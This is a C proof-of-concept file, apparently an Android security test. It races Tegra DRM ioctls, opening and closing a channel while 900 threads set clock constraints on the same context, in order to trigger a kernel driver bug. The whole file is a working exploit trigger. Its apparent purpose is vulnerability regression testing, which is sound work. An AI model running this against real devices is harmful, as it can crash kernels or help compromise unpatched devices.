1 /* 2 * Copyright (C) 2016 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <stdio.h> 18 #include <stdlib.h> 19 #include <pthread.h> 20 #include <sys/ioctl.h> 21 #include <errno.h> 22 #include <sys/stat.h> 23 #include <fcntl.h> 24 #include <sched.h> 25 #include <sys/types.h> 26 #include <signal.h> 27 #include <unistd.h> 28 29 #define CLK_THREAD_NUM 900 30 #define TRY_TIMES CLK_THREAD_NUM 31 #define DEV "/dev/dri/renderD129" 32 33 #define SIOCIWFIRSTPRIV 0x8BE0 34 #define SIOCGIWNAME 0x8B01 35 #define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11) 36 #define PRIV_CUSTOM_BWCS_CMD 13 37 #define PRIV_CMD_OID 15 38 #define PRIV_CMD_SW_CTRL 20 39 #define PRIV_CMD_WSC_PROBE_REQ 22 40 41 enum host1x_class { 42 HOST1X_CLASS_HOST1X = 0x1, 43 HOST1X_CLASS_NVENC = 0x21, 44 HOST1X_CLASS_VI = 0x30, 45 HOST1X_CLASS_ISPA = 0x32, 46 HOST1X_CLASS_ISPB = 0x34, 47 HOST1X_CLASS_GR2D = 0x51, 48 HOST1X_CLASS_GR2D_SB = 0x52, 49 HOST1X_CLASS_VIC = 0x5D, 50 HOST1X_CLASS_GR3D = 0x60, 51 HOST1X_CLASS_NVJPG = 0xC0, 52 HOST1X_CLASS_NVDEC = 0xF0, 53 }; 54 55 #define DRM_COMMAND_BASE 0x40 56 #define DRM_COMMAND_END 0xA0 57 58 #define DRM_TEGRA_OPEN_CHANNEL 0x05 59 #define DRM_TEGRA_CLOSE_CHANNEL 0x06 60 #define DRM_TEGRA_SET_CLK_CONSTRAINT 0x13 61 struct drm_tegra_open_channel { 62 __u32 client; 63 __u32 pad; 64 volatile __u64 context; 65 }; 66 67 struct drm_tegra_close_channel { 68 volatile __u64 context; 69 }; 70 71 struct drm_tegra_constraint { 72 __u64 context; 73 __u32 index; 74 __u32 type; 75 __u32 rate; 76 __u32 pad; 77 }; 78 79 #define DRM_IOCTL_BASE 'd' 80 #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) 81 82 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel) 83 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel) 84 #define DRM_IOCTL_TEGRA_SET_CLK_CONSTRAINT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SET_CLK_CONSTRAINT, struct drm_tegra_constraint) 85 int fd; 86 pthread_t clk_thread_id[CLK_THREAD_NUM] = { 0 }; 87 88 volatile struct drm_tegra_open_channel open_c = { 0 }; 89 volatile struct drm_tegra_close_channel close_c = { 0 }; 90 volatile struct drm_tegra_constraint clk_c = { 0 }; 91 92 static int set_affinity(int num) 93 { 94 int ret = 0; 95 cpu_set_t mask; 96 CPU_ZERO(&mask); 97 CPU_SET(num, &mask); 98 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); 99 if(ret == -1){ 100 } 101 return ret; 102 } 103 104 static void prepare() 105 { 106 open_c.client = HOST1X_CLASS_VIC; 107 } 108 109 void* clk_thread(void* no_use) 110 { 111 set_affinity(1); 112 113 while(1){ 114 ioctl(fd, DRM_IOCTL_TEGRA_SET_CLK_CONSTRAINT, &clk_c); 115 } 116 } 117 118 int main() 119 { 120 int i, try_time = TRY_TIMES, ret; 121 122 /* bind_cpu */ 123 set_affinity(0); 124 125 /* open dev */ 126 fd = open(DEV,O_RDONLY); 127 if(fd == -1){ 128 return 0; 129 } 130 131 /* prepare ioctl cmd */ 132 prepare(); 133 134 /* create clk thread */ 135 for(i = 0; i < CLK_THREAD_NUM; i++){ 136 ret = pthread_create(clk_thread_id + i, NULL, clk_thread, NULL); 137 if(ret){ 138 goto out_clk_thread; 139 } 140 } 141 142 while(try_time){ 143 /* open */ 144 ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c); 145 if(ret == 0){ 146 try_time--; 147 /* set clk */ 148 clk_c.context = open_c.context; 149 /* set close */ 150 close_c.context = open_c.context; 151 usleep(500); 152 ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c); 153 } 154 } 155 puts("ran 1"); 156 out_clk_thread: 157 /* kill clk thread */ 158 for(i = 0; i < CLK_THREAD_NUM; i++){ 159 pthread_kill(clk_thread_id[i], SIGKILL); 160 } 161 out_dev: 162 close(fd); 163 puts("ran 2"); 164 return 0; 165 } 166
